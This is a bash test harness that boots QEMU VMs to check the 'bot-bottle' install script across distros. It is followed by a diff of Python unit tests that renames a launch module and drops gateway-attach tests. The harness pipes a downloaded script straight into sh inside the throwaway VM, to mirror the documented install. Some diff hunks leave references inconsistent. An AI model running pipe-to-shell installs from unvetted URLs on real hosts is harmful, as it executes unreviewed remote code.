    echo "== booting $DISTRO VM (mem=${MEM_MB}M cpus=$CPUS, ssh -> :$SSH_PORT) =="
    qemu-system-x86_64 \
        -machine accel=kvm -cpu host -smp "$CPUS" -m "$MEM_MB" \
        -display none -daemonize \
        -pidfile "$(_pidfile)" \
        -serial "file:$(_serial)" \
        -drive "file=$(_overlay),if=virtio,format=qcow2" \
        -drive "file=$(_seed),if=virtio,format=raw" \
        -netdev "user,id=n0,hostfwd=tcp:127.0.0.1:$SSH_PORT-:22" \
        -device virtio-net-pci,netdev=n0
    # Only publish the marker (so a later prereqs/run/down finds this VM) when
    # we aren't inside a test cycle, which manages its own RUN_DIR + teardown.
    [ "$IN_TEST" = 1 ] || echo "$RUN_DIR" > "$(_marker)"
    wait_for_ssh
    if [ "$IN_TEST" != 1 ]; then
        echo "== VM is up. Prepare it with: BB_TEST_DISTRO=$DISTRO $0 prereqs (or go straight to 'run') =="
    fi
 }
 # Install install.sh's toolchain prerequisites (python3 + git + pipx) into the
 # running VM. This is what separates `test-ready` from `test`, and it is a
 # distinct sub-command so a manual up/prereqs/run/down cycle is possible.
 cmd_prereqs() {
    require_linux
    _load_run_dir || { echo "error: no running VM for $DISTRO; run '$0 up' first" >&2; return 1; }
    echo "== installing prerequisites (python3 + git + pipx) on $DISTRO =="
    # Runs via the guest login shell; PREREQ is a client-side table value.
    guest "${PREREQ[$DISTRO]}"
 }
 cmd_run() {
    require_linux
    _load_run_dir || { echo "error: no running VM for $DISTRO; run '$0 up' first" >&2; return 1; }
    local spec_env=""
    [ -n "${BOT_BOTTLE_INSTALL_SPEC:-}" ] \
        && spec_env="BOT_BOTTLE_INSTALL_SPEC='$BOT_BOTTLE_INSTALL_SPEC' "
    echo "== installing bot-bottle as ${SSH_USER[$DISTRO]} =="
    # Capture install.sh's exit code and full output rather than aborting on
    # non-zero: on a bare host a clean prerequisite *decline* is sound, so the
    # verdict step — not set -e — decides the outcome.
    local rc
    set +e
    if [ -n "${BB_TEST_INSTALL_URL:-}" ]; then
        guest "curl -fsSL '$BB_TEST_INSTALL_URL' | ${spec_env}sh" 2>&1 | tee "$RUN_DIR/install.log"
    else
        # Feed THIS checkout's install.sh in over stdin — the same `curl … | sh`
        # shape a real user runs, and nothing is staged in the guest to leak.
        guest "${spec_env}sh -s" < "$_REPO_ROOT/install.sh" 2>&1 | tee "$RUN_DIR/install.log"
    fi
    rc="${PIPESTATUS[0]}"
    set -e
    printf '%s\n' "$rc" > "$RUN_DIR/install.rc"
    echo "== install.sh exited $rc =="
    [ "$IN_TEST" = 1 ] \
        || echo "== verdict anytime with: BB_TEST_DISTRO=$DISTRO $0 status =="
 }
 # Quietly report whether a runnable bot-bottle entry point exists for the
 # guest user, checking the pipx/pip locations install.sh may leave off PATH.
 entry_point_runnable() {
    # shellcheck disable=SC2016  # expand in the GUEST shell.
    guest '
        for bb in "$HOME/.local/bin/bot-bottle" "$HOME/.bot-bottle/venv/bin/bot-bottle" "$(command -v bot-bottle 2>/dev/null)"; do
            [ -n "$bb" ] && [ -x "$bb" ] || continue
            # --help exits 0 before any DB/migration/network work; it is the
            # cheapest proof the package imports and the shim runs. (bot-bottle
            # has no --version: an unknown arg would die non-zero.)
            "$bb" --help >/dev/null 2>&1 && exit 0
        done
        exit 1
    ' >/dev/null 2>&1
 }
 # `bot-bottle doctor` in the guest, classified. doctor's own exit code
 # conflates "is the install sound" with "is a backend ready to run a bottle" —
 # and inside a plain VM no backend can be ready (no nested KVM/Docker), so the
 # raw exit code is non-zero by design. This separates the two: an unhandled
 # traceback, or a missing python/config line, is an install defect and fails;
 # a not-ready backend is reported, not fatal (unless BB_TEST_REQUIRE_BACKEND=1,
 # for a nested-virt host that can actually satisfy it).
 doctor_in_guest() {
    local out rc=0 bad=0
    out="$(mktemp "${TMPDIR:-/tmp}/bb-doctor.XXXXXX")"
    # shellcheck disable=SC2016  # $HOME/$bb must expand in the GUEST shell.
    guest '
        for bb in bot-bottle "$HOME/.local/bin/bot-bottle" "$HOME/.bot-bottle/venv/bin/bot-bottle"; do
            if command -v "$bb" >/dev/null 2>&1; then
                case "$bb" in
                    bot-bottle) : ;;
                    *) echo "  (not on PATH — running $bb directly, as install.sh advises)" ;;
                esac
                exec "$bb" doctor
            fi
        done
        echo "  no bot-bottle entry point found for this user" >&2
        exit 1
    ' >"$out" 2>&1 || rc=$?
    cat "$out"
    # An unhandled exception is always an install/product defect, never an
    # environment fact — doctor's non-zero exit alone would not distinguish it.
    if grep -q 'Traceback (most recent call last)' "$out"; then
        echo "  doctor crashed (traceback above) — a defect, not a missing prerequisite" >&2
        bad=1
    fi
    grep -qE '^ok: +python:' "$out" \
        || { echo "  doctor never reported a usable python" >&2; bad=1; }
    grep -qE '^ok: +config:' "$out" \
        || { echo "  doctor never reported a usable config dir" >&2; bad=1; }
    if [ "$rc" -ne 0 ] && ! grep -qE '^(fail|warn): +backend' "$out"; then
        echo "  doctor failed for something other than backend readiness" >&2
        bad=1
    fi
    local backend_ready=1
    grep -qE '^fail: +backend' "$out" && backend_ready=0
    rm -f "$out"
    [ "$bad" -eq 0 ] || return 1
    if [ "${BB_TEST_REQUIRE_BACKEND:-0}" = "1" ] && [ "$backend_ready" -eq 0 ]; then
        echo "  backend is not ready and BB_TEST_REQUIRE_BACKEND=1 — failing" >&2
        return 1
    fi
    if [ "$backend_ready" -eq 1 ]; then
        echo "  doctor: install sound; a backend is ready"
    else
        echo "  doctor: install sound; no backend ready (expected in a plain VM — install gate only)"
    fi
    return 0
 }
 # The prerequisite-decline messages install.sh prints via die(). On a bare host
 # ANY of these means install.sh correctly refused rather than half-installing —
 # a sound outcome for `test`.
 PREREQ_ERR_RE='is required but was not found|or newer is required|git is required to install from|neither pipx nor a usable|externally managed \(PEP 668\)|is not on PATH'
 # The verdict: is the install sound? Reads install.sh's captured exit code and
 # output (from cmd_run) plus the guest's resulting state.
 #   - installed & runnable  -> the verdict is doctor's soundness classification.
 #   - no entry point, but a recognized prerequisite decline, and declines are
 #     allowed (bare `test`, _REQUIRE_INSTALL=0) -> sound.
 #   - anything else -> not sound.
 install_verdict() {
    local rc=""
    [ -f "$RUN_DIR/install.rc" ] && rc="$(cat "$RUN_DIR/install.rc")"
    if [ "${rc:-1}" = 0 ] && entry_point_runnable; then
        echo "doctor (in guest):"
        doctor_in_guest
        return $?
    fi
    if [ "${_REQUIRE_INSTALL:-0}" != "1" ] \
            && [ -n "$rc" ] && [ "$rc" != 0 ] \
            && [ -f "$RUN_DIR/install.log" ] \
            && grep -Eiq "$PREREQ_ERR_RE" "$RUN_DIR/install.log"; then
        echo "  install.sh declined with an actionable prerequisite error (rc=$rc)"
        echo "  — sound on a bare host; run 'test-ready' (or 'prereqs') to install."
        return 0
    fi
    if [ "${_REQUIRE_INSTALL:-0}" = "1" ]; then
        echo "  prerequisites were provisioned, but install.sh left no runnable entry point (rc=${rc:-?})" >&2
    else
        echo "  install.sh neither installed nor gave a recognized prerequisite error (rc=${rc:-?})" >&2
    fi
    return 1
 }
 cmd_status() {
    require_linux
    if ! _load_run_dir; then
        echo "vm:      no running VM for $DISTRO"
        return 0
    fi
    if [ -f "$(_pidfile)" ] && kill -0 "$(cat "$(_pidfile)")" 2>/dev/null; then
        echo "vm:      $DISTRO running (pid $(cat "$(_pidfile)"), ssh :$SSH_PORT)"
    else
        echo "vm:      $DISTRO run-dir present but QEMU not alive"
        return 1
    fi
    if install_verdict; then
        echo "OK[$DISTRO]: the install is sound"
        return 0
    fi
    echo "FAIL[$DISTRO]: the install is not sound (see above)" >&2
    return 1
 }
 cmd_down() {
    require_linux
    if ! _load_run_dir; then
        echo "$DISTRO: nothing running"
        return 0
    fi
    if [ -f "$(_pidfile)" ]; then
        local pid; pid="$(cat "$(_pidfile)")"
        if kill -0 "$pid" 2>/dev/null; then
            kill "$pid" 2>/dev/null || true
            for _ in 1 2 3 4 5; do kill -0 "$pid" 2>/dev/null || break; sleep 1; done
            kill -9 "$pid" 2>/dev/null || true
        fi
    fi
    # Deleting the overlay + seed is the reset; the read-only base stays cached.
    rm -f "$(_overlay)" "$(_seed)" "$(_ssh_key)" "$(_ssh_key).pub" \
          "$RUN_DIR/user-data" "$RUN_DIR/meta-data" \
          "$RUN_DIR/install.rc" "$RUN_DIR/install.log" "$(_serial)"
    # Only remove a scratch dir we created (leave a user-provided one alone).
    [ -n "${BB_TEST_RUN_DIR:-}" ] || rmdir "$RUN_DIR" 2>/dev/null || true
    rm -f "$(_marker)"
    echo "removed $DISTRO VM and its overlay — install surface is clean."
 }
 cmd_ssh() {
    require_linux
    _load_run_dir || { echo "error: no running VM for $DISTRO" >&2; return 1; }
    local -a opts
    mapfile -d '' -t opts < <(_ssh_opts)
    exec ssh -t "${opts[@]}" "${SSH_USER[$DISTRO]}@127.0.0.1"
 }
 # Teardown half of the test cycles, armed the moment the VM exists so a failure
 # or a Ctrl-C still leaves nothing running.
 _test_teardown() {
    local rc=$?
    trap - EXIT INT TERM
    if [ "${BB_TEST_KEEP:-0}" = "1" ]; then
        echo
        echo "== [$_STEPS/$_STEPS] down: SKIPPED (BB_TEST_KEEP=1) =="
        echo "   VM still up; remove with: BB_TEST_DISTRO=$DISTRO $0 down"
        echo "   ssh in with: BB_TEST_RUN_DIR=$RUN_DIR BB_TEST_DISTRO=$DISTRO $0 ssh"
        exit "$rc"
    fi
    echo
    echo "== [$_STEPS/$_STEPS] down =="
    cmd_down || rc=1
    if [ "$rc" -eq 0 ]; then
        echo
        echo "PASS[$DISTRO]: $_PASS_CLAIM"
    else
        echo
        echo "FAIL[$DISTRO]: see above (the VM was torn down regardless)." >&2
    fi
    exit "$rc"
 }
 # The two variants differ only in whether the prerequisites get installed
 # before install.sh runs, which is exactly the question each one asks:
 #
 #   test        a bare host — assert install.sh is SOUND (installs cleanly, or
 #               declines with an actionable prerequisite error).
 #   test-ready  prerequisites satisfied — assert install.sh actually LANDS.
 _test_cycle() {
    local with_prereqs="$1"
    require_linux; require_kvm; require_tools; known_distro
    IN_TEST=1
    RUN_DIR="$(mktemp -d "${TMPDIR:-/tmp}/bb-install-test.$DISTRO.XXXXXX")"
    # Arm teardown BEFORE cmd_up: its wait_for_ssh can fail after QEMU is
    # already running (e.g. a guest that never opens SSH), and without the trap
    # in place that would leak the VM.
    trap _test_teardown EXIT INT TERM
    echo "== [1/$_STEPS] up ($DISTRO) =="
    cmd_up
    local step=2
    if [ "$with_prereqs" = 1 ]; then
        echo
        echo "== [$step/$_STEPS] prereqs =="
        cmd_prereqs || { echo "error: could not install prerequisites (see above)." >&2; return 1; }
        step=$(( step + 1 ))
    fi
    echo
    echo "== [$step/$_STEPS] run =="
    cmd_run
    step=$(( step + 1 ))
    echo
    echo "== [$step/$_STEPS] verdict =="
    # install.sh exits 0 even when doctor reports unmet prerequisites, so the
    # install succeeding is not the verdict — this is.
    cmd_status || {
        echo "error: the install is not sound for $DISTRO (see above)." >&2
        echo "  re-run with BB_TEST_KEEP=1 to keep the VM and dig in." >&2
        return 1
    }
 }
 cmd_test() {
    _STEPS=4
    _PASS_CLAIM="on a bare $DISTRO host, install.sh behaves soundly."
    _test_cycle 0
 }
 cmd_test_ready() {
    _STEPS=5
    _PASS_CLAIM="a $DISTRO host with prerequisites satisfied installs bot-bottle cleanly."
    # Prerequisites are provisioned, so a graceful decline is no longer an
    # acceptable outcome — the install must actually land.
    _REQUIRE_INSTALL=1
    _test_cycle 1
 }
 cmd_test_all() {
    require_linux; require_kvm; require_tools
    local -a passed=() failed=()
    local port="$SSH_PORT"
    local script
    script="$_SCRIPT_DIR/$(basename "${BASH_SOURCE[0]}")"
    # Every distro × both variants. Each cell gets its own forwarded port so a
    # leftover from a prior cell can't collide, and its own subshell so one
    # cell's failure (or teardown trap) doesn't abort the matrix.
    for sub in test test-ready; do
        for d in "${ALL_DISTROS[@]}"; do
            echo
            echo "########################################################"
            echo "# $d  ($sub)"
            echo "########################################################"
            if ( DISTRO="$d" SSH_PORT="$port" \
                    BB_TEST_DISTRO="$d" BB_TEST_SSH_PORT="$port" \
                    bash "$script" "$sub" ); then
                passed+=("$d/$sub")
            else
                failed+=("$d/$sub")
            fi
            port=$(( port + 1 ))
        done
    done
    echo
    echo "== matrix summary =="
    echo "  PASS: ${passed[*]:-(none)}"
    echo "  FAIL: ${failed[*]:-(none)}"
    [ "${#failed[@]}" -eq 0 ]
 }
 case "${1:-}" in
    test)       cmd_test ;;
    test-ready) cmd_test_ready ;;
    test-all)   cmd_test_all ;;
    up)         cmd_up ;;
    prereqs)    cmd_prereqs ;;
    run)        cmd_run ;;
    status)     cmd_status ;;
    down)       cmd_down ;;
    ssh)        cmd_ssh ;;
    *) echo "usage: $0 {test|test-ready|test-all|up|prereqs|run|status|down|ssh}  (distro via BB_TEST_DISTRO)" >&2; exit 2 ;;
 esac
@@ -21,7 +21,7 @@ import subprocess
 import time
 import unittest
-from bot_bottle.backend.docker.infra_launch import (
+from bot_bottle.backend.docker.consolidated_launch import (
    _network_cidr,
    _network_container_ips,
 )
@@ -83,13 +83,8 @@ class TestRuntimeModuleSizes(unittest.TestCase):
        self.assertEqual([], violations)
    def test_backend_contract_does_not_absorb_preparation_logic(self) -> None:
        # base.py holds the backend *contract*; implementation lives elsewhere.
        # The cap is a tripwire against absorbing preparation/impl logic, not a
        # ban on new contract surface — bumped 580->615 for the PRD 0081
        # gateway-attach contract (delegator + 3 abstract primitives; the flow
        # itself lives in backend/gateway_attach.py, not here).
        caps = {
-            ROOT / "bot_bottle" / "backend" / "base.py": 615,
+            ROOT / "bot_bottle" / "backend" / "base.py": 580,
            ROOT / "bot_bottle" / "backend" / "preparation.py": 160,
        }
        oversized = [
@@ -11,11 +11,9 @@ from types import SimpleNamespace
 from unittest.mock import Mock, patch
 from bot_bottle.orchestrator.reprovision import reprovision_bottles
-from bot_bottle.backend.base import BottleBackend, InfraLaunchError
+from bot_bottle.backend.firecracker import consolidated_launch as fc
-from bot_bottle.backend.gateway_attach import GatewayAttachResources
+from bot_bottle.backend.macos_container import consolidated_launch as mac
-from bot_bottle.backend.firecracker import infra_launch as fc
+from bot_bottle.backend.docker import consolidated_launch as docker
 from bot_bottle.backend.macos_container import infra_launch as mac
 from bot_bottle.backend.docker import infra_launch as docker
 from bot_bottle.orchestrator.client import OrchestratorClientError
@@ -134,7 +132,7 @@ class TestFirecrackerReprovision(unittest.TestCase):
    def test_persist_failure_is_fatal_to_launch(self) -> None:
        with patch.object(fc.util, "ssh_base_argv", return_value=["ssh", "guest"]), \
             patch.object(fc.subprocess, "run", return_value=_proc(1, stderr="denied")):
-            with self.assertRaisesRegex(fc.InfraLaunchError, "denied"):
+            with self.assertRaisesRegex(fc.ConsolidatedLaunchError, "denied"):
                fc.persist_env_var_secret(Path("/key"), "10.0.0.1", "secret")
    def test_reads_live_vm_key_and_reprovisions(self) -> None:
@@ -161,189 +159,5 @@ class TestFirecrackerReprovision(unittest.TestCase):
        restore.assert_called_once_with(client, {})
 class TestAttachFlow(unittest.TestCase):
    """PRD 0081 / #519 review: the base backend owns the reconcile flow and
    fails hard — gather resources, attempt every running bottle, then raise an
    aggregate if any failed (never silently skip)."""
    def _fake(self, **primitives: object) -> SimpleNamespace:
        base: dict[str, object] = {
            "_gateway_attach_resources": Mock(
                return_value=GatewayAttachResources(ca_pem="PEM")),
            "_running_bottles": Mock(return_value=["a", "b", "c"]),
            "_attach_bottle_to_gateway": Mock(),
        }
        base.update(primitives)
        return SimpleNamespace(**base)
    def test_attaches_every_running_bottle_once(self) -> None:
        fake = self._fake()
        BottleBackend.attach_bottled_agents_to_gateway(fake)  # type: ignore[arg-type]
        self.assertEqual(3, fake._attach_bottle_to_gateway.call_count)
        # Each bottle got the single gathered resource set.
        res = fake._gateway_attach_resources.return_value
        for call in fake._attach_bottle_to_gateway.call_args_list:
            self.assertIs(res, call.args[1])
    def test_attempts_all_then_raises_aggregate_on_failure(self) -> None:
        def attach(bottle: str, _resources: object) -> None:
            if bottle in ("b", "c"):
                raise InfraLaunchError(f"{bottle} unreachable")
        fake = self._fake(_attach_bottle_to_gateway=Mock(side_effect=attach))
        with self.assertRaises(InfraLaunchError) as ctx:
            BottleBackend.attach_bottled_agents_to_gateway(fake)  # type: ignore[arg-type]
        msg = str(ctx.exception)
        # Every bottle was attempted (not fail-fast), and both failures surface.
        self.assertEqual(3, fake._attach_bottle_to_gateway.call_count)
        self.assertIn("b unreachable", msg)
        self.assertIn("c unreachable", msg)
        self.assertIn("2", msg)
    def test_resource_gathering_failure_fails_hard_before_enumerating(self) -> None:
        fake = self._fake(
            _gateway_attach_resources=Mock(side_effect=RuntimeError("no CA yet")))
        with self.assertRaises(RuntimeError):
            BottleBackend.attach_bottled_agents_to_gateway(fake)  # type: ignore[arg-type]
        fake._running_bottles.assert_not_called()
 class TestFirecrackerAttachPrimitive(unittest.TestCase):
    """PRD 0081: attach_ca_to_agent_vm pushes the current gateway CA into one
    running agent VM over SSH, failing hard."""
    def _run_dir(self, root: Path, ip: str = "10.243.0.3") -> Path:
        run_dir = root / "demo"
        run_dir.mkdir()
        (run_dir / "bottle_id_ed25519").write_text("key")
        (run_dir / "config.json").write_text(json.dumps({
            "boot-source": {"boot_args": f"root=/dev/vda ip={ip}::gw:mask::eth0:off"}
        }))
        return run_dir
    def test_pushes_ca_over_stdin_and_rebuilds_trust_store(self) -> None:
        with tempfile.TemporaryDirectory() as tmp:
            run_dir = self._run_dir(Path(tmp))
            with patch.object(fc.util, "ssh_base_argv", return_value=["ssh", "guest"]), \
                 patch.object(fc.subprocess, "run", return_value=_proc()) as run:
                fc.attach_ca_to_agent_vm(run_dir, "PEM-DATA")
        # The cert goes over stdin (off argv), and the trust store is rebuilt.
        self.assertEqual("PEM-DATA", run.call_args.kwargs["input"])
        script = run.call_args.args[0][-1]
        self.assertIn(fc.AGENT_CA_PATH, script)
        self.assertIn("update-ca-certificates", script)
    def test_malformed_run_dir_fails_hard(self) -> None:
        with tempfile.TemporaryDirectory() as tmp:
            empty = Path(tmp) / "no-config"
            empty.mkdir()
            with self.assertRaises(fc.InfraLaunchError):
                fc.attach_ca_to_agent_vm(empty, "PEM")
    def test_push_failure_fails_hard(self) -> None:
        with tempfile.TemporaryDirectory() as tmp:
            run_dir = self._run_dir(Path(tmp))
            with patch.object(fc.util, "ssh_base_argv", return_value=["ssh", "guest"]), \
                 patch.object(fc.subprocess, "run", return_value=_proc(1, stderr="down")):
                with self.assertRaisesRegex(fc.InfraLaunchError, "down"):
                    fc.attach_ca_to_agent_vm(run_dir, "PEM")
 class TestDockerAttachPrimitives(unittest.TestCase):
    def test_running_agent_containers_excludes_gateway(self) -> None:
        # network inspect lists the gateway (excluded) + one agent + a blank line.
        inspect = _proc(stdout="bot-bottle-orch-gateway\nbot-bottle-a\n\n")
        with patch.object(docker, "run_docker", return_value=inspect):
            names = docker.running_agent_containers(
                network="net", gateway_name="bot-bottle-orch-gateway")
        self.assertEqual(["bot-bottle-a"], names)
    def test_running_agent_containers_fails_hard_on_docker_error(self) -> None:
        with patch.object(docker, "run_docker", side_effect=FileNotFoundError("docker")):
            with self.assertRaises(FileNotFoundError):
                docker.running_agent_containers()
    def test_running_agent_containers_fails_hard_on_inspect_failure(self) -> None:
        inspect = _proc(1, stderr="network unavailable")
        with patch.object(docker, "run_docker", return_value=inspect):
            with self.assertRaisesRegex(
                docker.InfraLaunchError, "network unavailable",
            ):
                docker.running_agent_containers(network="net")
    def test_push_ca_cp_then_rebuilds_trust_store(self) -> None:
        with patch.object(
            docker, "run_docker", side_effect=[_proc(), _proc(), _proc()],
        ) as run:
            docker.push_ca_to_container("bot-bottle-a", "PEM")
        argvs = [c.args[0] for c in run.call_args_list]
        cp = next(a for a in argvs if a[:2] == ["docker", "cp"])
        self.assertEqual(f"bot-bottle-a:{docker.AGENT_CA_PATH}", cp[-1])
        self.assertTrue(any("update-ca-certificates" in a[-1] for a in argvs))
    def test_push_ca_fails_hard(self) -> None:
        with patch.object(docker, "run_docker", return_value=_proc(1, stderr="gone")):
            with self.assertRaisesRegex(docker.InfraLaunchError, "gone"):
                docker.push_ca_to_container("bot-bottle-a", "PEM")
    def test_gateway_attach_resources_reads_the_threaded_infra_gateway(self) -> None:
        # On the bring-up reconcile path the backend is threaded with the infra
        # whose gateway just cold-booted, so it reads THAT gateway's CA — not a
        # fresh default-named DockerInfraService that wouldn't exist for a
        # non-default instance (#519 review).
        from bot_bottle.backend.docker.backend import DockerBottleBackend
        infra = Mock()
        infra.gateway.return_value.ca_cert_pem.return_value = "ITEST-CA"
        res = DockerBottleBackend(infra=infra)._gateway_attach_resources()
        self.assertEqual("ITEST-CA", res.ca_pem)
        infra.gateway.assert_called_once()
    def test_running_bottles_uses_the_threaded_infra_network(self) -> None:
        from bot_bottle.backend.docker.backend import DockerBottleBackend
        infra = Mock(network="itest-network")
        infra.gateway.return_value.name = "itest-gateway"
        with patch.object(docker, "running_agent_containers") as running:
            DockerBottleBackend(infra=infra)._running_bottles()
        running.assert_called_once_with(
            network="itest-network", gateway_name="itest-gateway",
        )
    def test_gateway_attach_resources_defaults_to_the_host_singleton(self) -> None:
        # Ordinary construction (no infra) falls back to the per-host default.
        from bot_bottle.backend.docker.backend import DockerBottleBackend
        with patch("bot_bottle.backend.docker.infra.DockerInfraService") as InfraCls:
            InfraCls.return_value.gateway.return_value.ca_cert_pem.return_value = "DEFAULT-CA"
            res = DockerBottleBackend()._gateway_attach_resources()
        InfraCls.assert_called_once_with()
        self.assertEqual("DEFAULT-CA", res.ca_pem)
 class TestMacosAttachPrimitives(unittest.TestCase):
    def test_running_agent_containers_from_enumeration(self) -> None:
        with patch.object(mac, "enumerate_active",
                          return_value=[SimpleNamespace(slug="demo")]):
            names = mac.running_agent_containers()
        self.assertEqual([f"{mac.CONTAINER_NAME_PREFIX}demo"], names)
    def test_running_agent_containers_fails_hard(self) -> None:
        with patch.object(mac, "enumerate_active",
                          side_effect=mac.EnumerationError("failed")):
            with self.assertRaises(mac.EnumerationError):
                mac.running_agent_containers()
    def test_push_ca_cp_then_rebuilds_trust_store(self) -> None:
        with patch.object(mac.container_mod, "run_container_argv",
                          return_value=_proc()) as run:
            mac.push_ca_to_container(f"{mac.CONTAINER_NAME_PREFIX}demo", "PEM")
        argvs = [c.args[0] for c in run.call_args_list]
        self.assertTrue(any(mac.AGENT_CA_PATH in " ".join(a) for a in argvs))
        self.assertTrue(any("update-ca-certificates" in a[-1] for a in argvs))
    def test_push_ca_fails_hard(self) -> None:
        with patch.object(mac.container_mod, "run_container_argv",
                          return_value=_proc(1, stderr="no")):
            with self.assertRaisesRegex(mac.InfraLaunchError, "no"):
                mac.push_ca_to_container("x", "PEM")
 if __name__ == "__main__":
    unittest.main()
@@ -6,8 +6,8 @@ import unittest
 from pathlib import Path
 from unittest.mock import MagicMock, Mock, patch
-from bot_bottle.backend.docker.infra_launch import (
+from bot_bottle.backend.docker.consolidated_launch import (
-    InfraLaunchError,
+    ConsolidatedLaunchError,
    _network_container_ips,
    launch_consolidated,
    deprovision_consolidated,
@@ -16,7 +16,7 @@ from bot_bottle.egress import EgressPlan, EgressRoute
 from bot_bottle.git_gate import GitGatePlan
 from bot_bottle.orchestrator.client import RegisteredBottle
-_MOD = "bot_bottle.backend.docker.infra_launch"
+_MOD = "bot_bottle.backend.docker.consolidated_launch"
 _UTIL = "bot_bottle.backend.provision_bottle"
@@ -93,7 +93,7 @@ class TestNetworkContainerIps(unittest.TestCase):
        result = Mock(returncode=1, stdout="", stderr="daemon unavailable")
        with (
            patch(f"{_MOD}.run_docker", return_value=result),
-            self.assertRaisesRegex(InfraLaunchError, "daemon unavailable"),
+            self.assertRaisesRegex(ConsolidatedLaunchError, "daemon unavailable"),
        ):
            _network_container_ips("bot-bottle-gateway")
@@ -29,20 +29,10 @@ class TestDockerInfraService(unittest.TestCase):
        self.orch.gateway_url.return_value = f"http://{ORCHESTRATOR_NAME}:8099"
        self.orch.mint_gateway_token.return_value = "gw.jwt"
        self.gw = MagicMock()
        # Default to a cold boot (gateway (re)created) so the reconcile branch
        # runs; the actual reconcile is stubbed so these composition tests stay
        # isolated from docker.
        self.gw.connect_to_orchestrator.return_value = True
        for name, mock in (("orchestrator", self.orch), ("gateway", self.gw)):
            p = patch.object(self.svc, name, return_value=mock)
            p.start()
            self.addCleanup(p.stop)
        ap = patch(
            "bot_bottle.backend.docker.backend.DockerBottleBackend"
            ".attach_bottled_agents_to_gateway"
        )
        self.attach = ap.start()
        self.addCleanup(ap.stop)
    def test_url_delegates_to_the_orchestrator(self) -> None:
        self.assertEqual("http://127.0.0.1:8099", self.svc.url())
@@ -68,20 +58,6 @@ class TestDockerInfraService(unittest.TestCase):
            f"http://{ORCHESTRATOR_NAME}:8099", "gw.jwt")
        self.orch.mint_gateway_token.assert_called_once()
    def test_cold_boot_reconciles_running_bottles(self) -> None:
        # A (re)created gateway (connect returns True) triggers the bring-up
        # reconcile so running bottles re-trust the fresh gateway (PRD 0081).
        self.gw.connect_to_orchestrator.return_value = True
        self.svc.ensure_running()
        self.attach.assert_called_once_with()
    def test_no_reconcile_when_gateway_left_untouched(self) -> None:
        # A healthy current gateway (connect returns False) is not a cold boot,
        # so there is nothing to reconcile.
        self.gw.connect_to_orchestrator.return_value = False
        self.svc.ensure_running()
        self.attach.assert_not_called()
    def test_stop_removes_both_containers(self) -> None:
        with patch(_RUN) as run:
            self.svc.stop()
@@ -16,7 +16,7 @@ from bot_bottle.agent_provider import AgentProvisionPlan
 from bot_bottle.backend import BottleSpec
 from bot_bottle.backend.docker import launch as launch_mod
 from bot_bottle.backend.docker.bottle_plan import DockerBottlePlan
-from bot_bottle.backend.docker.infra_launch import LaunchContext
+from bot_bottle.backend.docker.consolidated_launch import LaunchContext
 from bot_bottle.egress import EgressPlan
 from bot_bottle.git_gate import GitGatePlan
 from bot_bottle.log import Die
@@ -19,7 +19,7 @@ from bot_bottle.agent_provider import AgentProvisionPlan
 from bot_bottle.backend import BottleImages, BottleSpec
 from bot_bottle.backend.docker import launch as launch_mod
 from bot_bottle.backend.docker.bottle_plan import DockerBottlePlan
-from bot_bottle.backend.docker.infra_launch import LaunchContext
+from bot_bottle.backend.docker.consolidated_launch import LaunchContext
 from bot_bottle.egress import EgressPlan
 from bot_bottle.git_gate import GitGatePlan
 from bot_bottle.manifest import ManifestIndex
@@ -61,10 +61,7 @@ class TestFirecrackerGatewayConnect(unittest.TestCase):
        booted = infra_vm.InfraVm(guest_ip="10.243.255.3", private_key=Path("/k"))
        with patch.object(infra_vm, "boot_vm", return_value=booted) as boot, \
                patch.object(infra_vm, "push_secret") as push:
-            cold_booted = gw.connect_to_orchestrator(_ORCH_URL, _TOKEN)
+            gw.connect_to_orchestrator(_ORCH_URL, _TOKEN)
        # The VM is booted fresh here (cold-boot path only), so it always
        # signals a cold boot → the caller reconciles running bottles (PRD 0081).
        self.assertTrue(cold_booted)
        # Booted on the gateway link with the gateway role; the orchestrator's
        # guest IP (parsed off the URL) rides the cmdline as bb_orch.
        kw = boot.call_args.kwargs
@@ -40,21 +40,7 @@ class TestAccessors(unittest.TestCase):
        self.assertEqual(f"http://{ip}:{infra_vm.ORCHESTRATOR_PORT}", svc.url())
 _ATTACH = (
    "bot_bottle.backend.firecracker.backend.FirecrackerBottleBackend"
    ".attach_bottled_agents_to_gateway"
 )
 class TestEnsureRunning(unittest.TestCase):
    def setUp(self) -> None:
        # The cold-boot branch reconciles running bottles against the fresh
        # gateway (PRD 0081). Stub it so these composition tests stay isolated
        # from SSH; the wiring itself is asserted in test_cold_boot_reconciles*.
        ap = patch(_ATTACH)
        self.attach = ap.start()
        self.addCleanup(ap.stop)
    def test_adopts_when_healthy_alive_and_version_matches(self):
        # Healthy control plane + live gateway + existing key + matching version
        # marker -> adopt (no stop/build/boot); returns the orchestrator URL.
@@ -73,8 +59,6 @@ class TestEnsureRunning(unittest.TestCase):
            built.assert_not_called()
            ip = infra_vm.netpool.orch_slot().guest_ip
            self.assertEqual(f"http://{ip}:{infra_vm.ORCHESTRATOR_PORT}", url)
            # Adopt path — no cold boot, so no running-bottle reconcile.
            self.attach.assert_not_called()
    def test_reboots_both_when_version_stale(self):
        # Healthy control plane but the running pair booted an OLDER image
@@ -136,8 +120,6 @@ class TestEnsureRunning(unittest.TestCase):
        # reach the control plane at startup).
        orch_cls.return_value.ensure_running.assert_called_once()
        gw_cls.return_value.connect_to_orchestrator.assert_called_once()
        # A cold boot minted a fresh gateway CA — reconcile running bottles.
        self.attach.assert_called_once_with()
 if __name__ == "__main__":
@@ -0,0 +1,98 @@
 """Unit: how the CLI tells users to re-run it under sudo.
 `sudo bot-bottle …` is wrong for the users who followed the documented
 install: sudo's secure_path excludes ~/.local/bin, where both pipx and
 install.sh put the entry point. These lock in the absolute-path form.
 """
 from __future__ import annotations
 import contextlib
 import io
 import os
 import tempfile
 import unittest
 from pathlib import Path
 from unittest import mock
 from bot_bottle import invocation
 class TestSelfPath(unittest.TestCase):
    def test_absolute_argv0_is_used_as_is(self):
        with mock.patch.object(invocation.sys, "argv", ["/opt/venv/bin/bot-bottle"]):
            self.assertEqual("/opt/venv/bin/bot-bottle", invocation.self_path())
    def test_bare_name_is_resolved_through_path(self):
        # The case that matters: invoked as `bot-bottle`, installed in a
        # directory sudo would drop.
        with tempfile.TemporaryDirectory() as d:
            entry = Path(d, "bot-bottle")
            entry.write_text("#!/bin/sh\n")
            entry.chmod(0o755)
            with mock.patch.object(invocation.sys, "argv", ["bot-bottle"]), \
                 mock.patch.dict(os.environ, {"PATH": d}):
                self.assertEqual(str(entry), invocation.self_path())
    def test_relative_path_is_made_absolute(self):
        with tempfile.TemporaryDirectory() as d:
